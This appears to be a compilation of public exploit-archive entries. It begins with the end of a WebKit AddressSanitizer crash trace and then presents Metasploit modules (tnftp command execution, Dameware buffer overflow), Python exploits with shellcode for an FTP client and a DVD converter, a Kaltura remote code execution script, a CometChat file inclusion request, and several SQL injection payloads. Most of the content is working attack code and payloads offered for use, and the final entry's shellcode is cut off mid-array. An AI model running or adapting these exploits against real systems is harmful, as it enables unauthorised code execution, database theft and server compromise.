    #29 0x7fffd5298c53 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x90c53)
    #30 0x7fffd52988de in __CFRunLoopDoTimer (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x908de)
    #31 0x7fffd5298439 in __CFRunLoopDoTimers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x90439)
    #32 0x7fffd528fb80 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87b80)
    #33 0x7fffd528f113 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87113)
    #34 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #35 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #36 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #37 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #38 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #39 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #40 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #41 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #42 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #43 0x103a5356c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #44 0x7fffeaa0f234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

0x606000560c48 is located 8 bytes to the right of 64-byte region [0x606000560c00,0x606000560c40)
allocated by thread T0 here:
    #0 0x103abbd2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
    #1 0x7fffeab91281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
    #2 0x118927ad4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4)
    #3 0x118925d6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d)
    #4 0x1188ac247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247)
    #5 0x1188ab63a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a)
    #6 0x10c8e7fdc in WebCore::SimpleLineLayout::Layout::create(WTF::Vector<WebCore::SimpleLineLayout::Run, 10ul, WTF::CrashOnOverflow, 16ul> const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2b96fdc)
    #7 0x10c8e78ff in WebCore::SimpleLineLayout::create(WebCore::RenderBlockFlow&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2b968ff)
    #8 0x10c2d8cb5 in WebCore::RenderBlockFlow::layoutSimpleLines(bool, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2587cb5)
    #9 0x10c2d25f7 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25815f7)
    #10 0x10c28caa2 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x253baa2)
    #11 0x10c2d7a3c in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2586a3c)
    #12 0x10c2d41c2 in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25831c2)
    #13 0x10c2d2602 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2581602)
    #14 0x10c28caa2 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x253baa2)
    #15 0x10c2d7a3c in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2586a3c)
    #16 0x10c2d41c2 in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25831c2)
    #17 0x10c2d2602 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2581602)
    #18 0x10c28caa2 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x253baa2)
    #19 0x10c2d7a3c in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2586a3c)
    #20 0x10c2d41c2 in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25831c2)
    #21 0x10c2d2602 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2581602)
    #22 0x10c28caa2 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x253baa2)
    #23 0x10c69168d in WebCore::RenderView::layoutContent(WebCore::LayoutState const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x294068d)
    #24 0x10c6920b4 in WebCore::RenderView::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x29410b4)
    #25 0x10a8d526d in WebCore::FrameView::layout(bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb8426d)
    #26 0x10a4e1b10 in WebCore::Document::updateLayout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x790b10)
    #27 0x10cd35b2f in WebCore::absolutePointIfNotClipped(WebCore::Document&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2fe4b2f)
    #28 0x10cd35809 in WebCore::TreeScope::nodeFromPoint(WebCore::LayoutPoint const&, WebCore::LayoutPoint*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2fe4809)
    #29 0x10a4e349b in WebCore::Document::caretRangeFromPoint(WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x79249b)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2ba4839) in WebCore::SimpleLineLayout::RunResolver::Run::logicalLeft() const
Shadow bytes around the buggy address:
  0x1c0c000ac130: fd fd fd fd fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c0c000ac140: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa
  0x1c0c000ac150: fd fd fd fd fd fd fd fd fa fa fa fa 00 00 00 00
  0x1c0c000ac160: 00 00 01 fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c0c000ac170: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa
=>0x1c0c000ac180: 00 00 00 00 00 00 00 00 fa[fa]fa fa fd fd fd fd
  0x1c0c000ac190: fd fd fd fd fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c0c000ac1a0: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa
  0x1c0c000ac1b0: 00 00 00 00 00 00 00 00 fa fa fa fa fd fd fd fd
  0x1c0c000ac1c0: fd fd fd fd fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c0c000ac1d0: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==30436==ABORTING
*/
HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'tnftp "savefile" Arbitrary Command Execution',
      'Description' => %q{
        This module exploits an arbitrary command execution vulnerability in
        tnftp's handling of the resolved output filename - called "savefile" in
        the source - from a requested resource.

        If tnftp is executed without the -o command-line option, it will resolve
        the output filename from the last component of the requested resource.

        If the output filename begins with a "|" character, tnftp will pass the
        fetched resource's output to the command directly following the "|"
        character through the use of the popen() function.
      },
      'Author' => [
        'Jared McNeill', # Vulnerability discovery
        'wvu' # Metasploit module
      ],
      'References' => [
        ['CVE', '2014-8517'],
        ['URL', 'http://seclists.org/oss-sec/2014/q4/459']
      ],
      'DisclosureDate' => 'Oct 28 2014',
      'License' => MSF_LICENSE,
      'Platform' => 'unix',
      'Arch' => ARCH_CMD,
      'Privileged' => false,
      'Payload' => {'BadChars' => '/'},
      'Targets' => [['ftp(1)', {}]],
      'DefaultTarget' => 0
    ))
  end

  def on_request_uri(cli, request)
    unless request['User-Agent'] =~ /(tn|NetBSD-)ftp/
      print_status("#{request['User-Agent']} connected")
      send_not_found(cli)
      return
    end

    if request.uri.ends_with?(sploit)
      send_response(cli, '')
      print_good("Executing `#{payload.encoded}'!")
      report_vuln(
        :host => cli.peerhost,
        :name => self.name,
        :refs => self.references,
        :info => request['User-Agent']
      )
    else
      print_status("#{request['User-Agent']} connected")
      print_status('Redirecting to exploit...')
      send_redirect(cli, sploit_uri)
    end
  end

  def sploit_uri
    (get_uri.ends_with?('/') ? get_uri : "#{get_uri}/") +
      Rex::Text.uri_encode(sploit, 'hex-all')
  end

  def sploit
    "|#{payload.encoded}"
  end
end
HireHackking 
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Dameware Mini Remote Control Username Stack Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack based buffer overflow vulnerability found
				in Dameware Mini Remote Control v4.0. The overflow is caused when sending
				an overly long username to the DWRCS executable listening on port 6129.
				The username is read into a strcpy() function causing an overwrite of
				the return pointer leading to arbitrary code execution.
			},
			'Author'         => [ 'James Fitts' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'CVE', '2005-2842' ],
					[ 'BID', '14707' ],
					[ 'URL', 'http://secunia.com/advisories/16655' ],
					[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2005-08/1074.html' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'	=> 140,
					'BadChars' => "\x00\x0a\x0d",
					'StackAdjustment' => -3500,
					'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
					'Compat'        =>
						{
							'SymbolLookup' => '+ws2ord',
						},
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 
						'Windows XP SP3 EN', 
							{ 
								# msvcrt.dll
								# push esp/ retn
								'Ret' => 0x77c35459, 
							} 
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Sept 01 2005'))

		register_options(
			[
				Opt::RPORT(6129),
			], self.class )
	end

	def pkt1
		p = payload.encoded

		boom = "\x43" * 259
		boom[100, 4] = [target.ret].pack('V')
		boom[108, p.length] = p

		packet = "\x00" * 4056
		packet[0, 4] = "\x30\x11\x00\x00"
		packet[4, 4] = "\x00\x00\x00\x00"
		packet[8, 4] = "\xd7\xa3\x70\x3d"
		packet[12, 4] = "\x0a\xd7\x0d\x40"
		packet[16, 20] = "\x00" * 20
		packet[36, 4] = "\x01\x00\x00\x00"

		packet[40, 4] = [0x00002710].pack('V')
		packet[196, 259] = rand_text_alpha(259)
		packet[456, 259] = boom
		packet[716, 259] = rand_text_alpha(259)
		packet[976, 259] = rand_text_alpha(259)
		packet[1236, 259] = rand_text_alpha(259)
		packet[1496, 259] = rand_text_alpha(259)

		return packet
	end

	def pkt2
		packet = "\x00" * 4096
		packet[756, 259] = rand_text_alpha(259)

		return packet
		
	end

	def exploit
		connect

		sock.put(pkt1)
		sock.recv(1024)
		sock.put(pkt2)
		sock.recv(84)

		handler
		disconnect
	end

end
__END__
HireHackking 
#!/usr/bin/env python
# coding: utf-8

############ Description: ##########
# The vulnerability was discovered during a vulnerability research lecture.
# This is meant to be a PoC.
####################################

# Exploit Title: Ayukov NFTP FTP Client - Buffer Overflow
# Date: 2017-10-21
# Exploit Author: Berk Cem Göksel
# Contact: twitter.com/berkcgoksel || bgoksel.com
# Vendor Homepage: http://ayukov.com/nftp/source-release.html
# Software Link: ftp://ftp.ayukov.com/pub/nftp/
# Version:  v1.71, v1.72, v1.8, v2.0
# Tested on: Windows 10
# Category: Windows Remote Exploit
# CVE : CVE-2017-15222

import socket

IP = '127.0.0.1'
port = 21


#(exec calc.exe)
shellcode=(
"\xda\xc5\xbe\xda\xc6\x9a\xb6\xd9\x74\x24\xf4\x5d\x2b\xc9\xb1"
"\x33\x83\xc5\x04\x31\x75\x13\x03\xaf\xd5\x78\x43\xb3\x32\xf5"
"\xac\x4b\xc3\x66\x24\xae\xf2\xb4\x52\xbb\xa7\x08\x10\xe9\x4b"
"\xe2\x74\x19\xdf\x86\x50\x2e\x68\x2c\x87\x01\x69\x80\x07\xcd"
"\xa9\x82\xfb\x0f\xfe\x64\xc5\xc0\xf3\x65\x02\x3c\xfb\x34\xdb"
"\x4b\xae\xa8\x68\x09\x73\xc8\xbe\x06\xcb\xb2\xbb\xd8\xb8\x08"
"\xc5\x08\x10\x06\x8d\xb0\x1a\x40\x2e\xc1\xcf\x92\x12\x88\x64"
"\x60\xe0\x0b\xad\xb8\x09\x3a\x91\x17\x34\xf3\x1c\x69\x70\x33"
"\xff\x1c\x8a\x40\x82\x26\x49\x3b\x58\xa2\x4c\x9b\x2b\x14\xb5"
"\x1a\xff\xc3\x3e\x10\xb4\x80\x19\x34\x4b\x44\x12\x40\xc0\x6b"
"\xf5\xc1\x92\x4f\xd1\x8a\x41\xf1\x40\x76\x27\x0e\x92\xde\x98"
"\xaa\xd8\xcc\xcd\xcd\x82\x9a\x10\x5f\xb9\xe3\x13\x5f\xc2\x43"
"\x7c\x6e\x49\x0c\xfb\x6f\x98\x69\xf3\x25\x81\xdb\x9c\xe3\x53"
"\x5e\xc1\x13\x8e\x9c\xfc\x97\x3b\x5c\xfb\x88\x49\x59\x47\x0f"
"\xa1\x13\xd8\xfa\xc5\x80\xd9\x2e\xa6\x47\x4a\xb2\x07\xe2\xea"
"\x51\x58")

CALL_ESP = "\xdd\xfc\x40\x00" # call esp - nftpc.exe  #0040FCDD
buff = "A" * 4116 + CALL_ESP + '\x90' * 16 + shellcode + "C" * (15000-4116-4-16-len(shellcode))
#Can call esp but the null byte terminates the string.

try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind((IP, port))
        s.listen(20)
        print("[i] FTP Server started on port: "+str(port)+"\r\n")
except:
        print("[!] Failed to bind the server to port: "+str(port)+"\r\n")

while True:
    conn, addr = s.accept()
    conn.send('220 Welcome!' + '\r\n')
    print conn.recv(1024)
    conn.send('331 OK.\r\n')
    print conn.recv(1024)
    conn.send('230 OK.\r\n')
    print conn.recv(1024)
    conn.send(buff + '\r\n')
    print conn.recv(1024)
    conn.send('257' + '\r\n')
HireHackking 
# Exploit Title: CometChat < v6.2.0 BETA 1 - Local File Inclusion
# Date: 2017-10-22
# Exploit Author: Luke Paris (Paradoxis) <luke@paradoxis.nl>
# Vendor Homepage: https://cometchat.com/
# Version: < 6.2.0 BETA 1
# Tested on: Ubuntu Linux 14.04
#
# --------------------------------------------------------------------------------------
#
# In versions of CometChat before version v6.2.0 BETA 1 a bug existed which allowed
# any unauthorised attacker to modify the include path of a php file by sending an
# HTTP request with a crafted 'cc_lang' cookie.
#
# If successfully exploited an attacker could leverage this bug to execute arbitrary PHP
# code which resides somewhere else on the server (eg: uploaded via an upload form).
#
# Due to the fact that this bug resides in the configuration file of the applications
# it might be possible that future versions of the chat application still contain the
# file inclusion bug as the script might have been re-applied after an update.
#
# --------------------------------------------------------------------------------------
#
# The vulnerability resides in the application's configuration file, near the beginning 
# of the script the following code block is executed, this is where an attacker is able 
# to inject a string into the cc_lang cookie.

/* COOKIE */
$cookiePrefix = 'cc_';

/* LANGUAGE START */
$lang = 'en';

/* LANGUAGE END */ 
if (!empty($_COOKIE[$cookiePrefix."lang"])) {
    $lang = $_COOKIE[$cookiePrefix."lang"];
}

# Near the end of the configuration file, the following code block is executed.
# This is where the exploit is triggered by not sanitising the $lang variable properly.

include dirname(__FILE__).DIRECTORY_SEPARATOR.'lang'.DIRECTORY_SEPARATOR.'en.php';
if (file_exists(dirname(__FILE__).DIRECTORY_SEPARATOR.'lang'.DIRECTORY_SEPARATOR.$lang.'.php')) {
    include dirname(__FILE__).DIRECTORY_SEPARATOR.'lang'.DIRECTORY_SEPARATOR.$lang.'.php';          
}

# The following example demonstrates how an attacker could leverage this bug to gain control 
# over the server, which could result in a full server compromise (assuming the attacker has
# already managed to write a webshell to the servers' disk somehow): 

GET /cometchat/config.php?cmd=id HTTP/1.1
Host: example.com
Connection: keep-alive
Cookie: cc_lang=../../uploads/evil

HTTP/1.1 200 OK
Host: example.com
Connection: close
Content-type: text/html; charset=UTF-8

uid=33(www-data) gid=33(www-data) groups=33(www-data)
HireHackking 
#!/usr/bin/env python

# Kaltura <= 13.1.0 RCE (CVE-2017-14143)
# https://telekomsecurity.github.io/2017/09/kaltura-rce.html
# 
# $ python kaltura_rce.py "https://example.com" 0_xxxxxxxx "system('id')"
# [~] host: https://example.com
# [~] entry_id: 0_xxxxxxxx
# [~] code: system('id')
# [+] sending request..
# uid=1003(wwwrun) gid=50004(www) groups=50004(www),7373(kaltura)

import urllib
import urllib2
import base64
import md5
import sys

cookie_secret = 'y3tAno3therS$cr3T';

def exploit(host, entry_id, php_code):
    print("[+] Sending request..")
    url = "{}/index.php/keditorservices/getAllEntries?list_type=15&entry_id={}".format(host, entry_id)

    cmd = "{}.die();".format(php_code)
    cmd_len = len(cmd)

    payload = "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\0*\0_writers\";a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\0*\0_eventsToMail\";a:1:{i:0;i:1;}s:22:\"\0*\0_layoutEventsToMail\";a:0:{}s:8:\"\0*\0_mail\";O:9:\"Zend_Mail\":0:{}s:10:\"\0*\0_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\0*\0_inflector\";O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\0*\0_matchPattern\";s:7:\"/(.*)/e\";s:15:\"\0*\0_replacement\";s:%s:\"%s\";}s:20:\"\0*\0_inflectorEnabled\";b:1;s:10:\"\0*\0_layout\";s:6:\"layout\";}s:22:\"\0*\0_subjectPrependText\";N;}}};}"

    exploit_code = payload % (len(cmd), cmd)
    encoded = base64.b64encode(exploit_code)
    md5_hash = md5.new("%s%s" % (encoded, cookie_secret)).hexdigest()

    cookies={'userzone': "%s%s" % (encoded, md5_hash)}

    r = urllib2.Request(url)
    r.add_header('Cookie', urllib.urlencode(cookies))

    req = urllib2.urlopen(r)
    return req.read()

if __name__ == '__main__':

    if len(sys.argv) < 4:
        print("Usage: %s <host> <entry_id> <php_code>" % sys.argv[0])
        print(" example: %s http://example.com 0_abc1234 system('id')" % sys.argv[0])
        sys.exit(0)

    host = sys.argv[1]
    entry_id = sys.argv[2]
    cmd = sys.argv[3]

    print("[~] host: %s" % host)
    print("[~] entry_id: %s" % entry_id)
    print("[~] php_code: %s" % cmd)

    result = exploit(sys.argv[1], sys.argv[2], sys.argv[3])

    print(result)
HireHackking 
# # # # # 
# Exploit Title: Online Exam Test Application - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link: http://www.exclusivescript.com/product/1z2e4672468/php-scripts/online-exam-test-application
# Demo: http://198.38.86.159/~onlineexamboard/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15989
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/resources.php?action=category&sort=[SQL]
# 
# -8++/*!07777UNION*/+/*!07777SELECT*/+0x31,0x32,0x496873616e2053656e63616e,(/*!07777Select*/+export_set(5,@:=0,(/*!07777select*/+count(*)/*!07777from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!07777table_name*/,0x3c6c693e,2),/*!07777column_name*/,0xa3a,2)),@,2))--+-
# 
# Parameter: sort (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: action=category&sort=8 AND 5525=5525
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: action=category&sort=8 AND SLEEP(5)
# 
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 4 columns
#     Payload: action=category&sort=8 UNION ALL SELECT NULL,NULL,CONCAT(0x7176707a71,0x77654f6a51797a6c7755546b54574f68467842734c4268517654667a6e584e63634871574f4f454e,0x716b766a71),NULL-- Yhyw
# 	
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Nice PHP FAQ Script - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.nicephpscripts.com/
# Software http://www.nicephpscripts.com/demo_php_script-PHP-FAQ-Script-Knowledgebase-Script.htm
# Demo: http://www.nicephpscripts.com/scripts/faqscript/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15988
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?nice_theme=[SQL]
# 
# Parameter: nice_theme (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: nice_theme=3 AND 5083=5083
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Article Directory Script 3.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.yourarticlesdirectory.com/
# Software Link: http://www.yourarticlesdirectory.com/
# Demo: http://www.yourarticlesdirectory.com/livedemo.php
# Version: 3.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15960
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/category.php?id=[SQL]
# 
# 18++/*!02222UniOn*/+(/*!02222SeleCt*/+0x283129,/*!02222CONCAT_WS*/(0x203a20,USER(),DATABASE(),VERSION()),0x283329,0x283429,0x3078323833353239)--+-
# 
# http://localhost/[PATH]/author.php?id=[SQL]
# 
# Parameter: id (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: id=18 AND 8646=8646
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: id=18 AND SLEEP(5)
# 
# Parameter: id (GET)
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: id=27 AND SLEEP(5)
# 	
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Ingenious School Management System 2.3.0 - Arbitrary File Upload
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://iloveprograming.com/
# Software Link: https://www.codester.com/items/4945/ingenious-school-management-system
# Demo: http://iloveprograming.com/view/login.php
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15957
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# 
# The vulnerability allows an student,teacher upload arbitrary file....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/my_profile.php
# http://localhost/[PATH]/view/teacher_profile2.php
# http://localhost/[PATH]/uploads/[FILE]
# 
# Etc..
# # # # #
HireHackking 
#!/usr/bin/python
  
###############################################################################
# Exploit Title:        Easy MPEG/AVI/DIVX/WMV/RM to DVD - 'Enter User Name' Field Buffer Overflow (SEH)
# Date:                 05-10-2017
# Exploit Author:       Venkat Rajgor 
# Vendor Homepage:      http://www.divxtodvd.net/
# Software Link:        http://www.divxtodvd.net/easy_video_to_dvd.exe
# Tested On:            Windows 7 x64 
#
#
# To reproduce the exploit:
#   1. Click Register
#   2. In the "Enter User Name" field, paste the content of evil.txt
#
##############################################################################
filename="evil.txt"  
 
buffer = "\x41" * 1008  #Buffer
  
nSEH = "\xEB\x06\x90\x90"   #short Jump
  
SEH = "\x59\x78\x03\x10"   #SEH

badchars = "\x00\x0A\x0D\x1A" # Bad Chars
  
# msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d" -f c # Payload To Pop Calc

shell=(
"\xba\xf5\xed\x50\xfa\xdb\xde\xd9\x74\x24\xf4\x5e\x29\xc9\xb1"
"\x31\x31\x56\x13\x83\xc6\x04\x03\x56\xfa\x0f\xa5\x06\xec\x52"
"\x46\xf7\xec\x32\xce\x12\xdd\x72\xb4\x57\x4d\x43\xbe\x3a\x61"
"\x28\x92\xae\xf2\x5c\x3b\xc0\xb3\xeb\x1d\xef\x44\x47\x5d\x6e"
"\xc6\x9a\xb2\x50\xf7\x54\xc7\x91\x30\x88\x2a\xc3\xe9\xc6\x99"
"\xf4\x9e\x93\x21\x7e\xec\x32\x22\x63\xa4\x35\x03\x32\xbf\x6f"
"\x83\xb4\x6c\x04\x8a\xae\x71\x21\x44\x44\x41\xdd\x57\x8c\x98"
"\x1e\xfb\xf1\x15\xed\x05\x35\x91\x0e\x70\x4f\xe2\xb3\x83\x94"
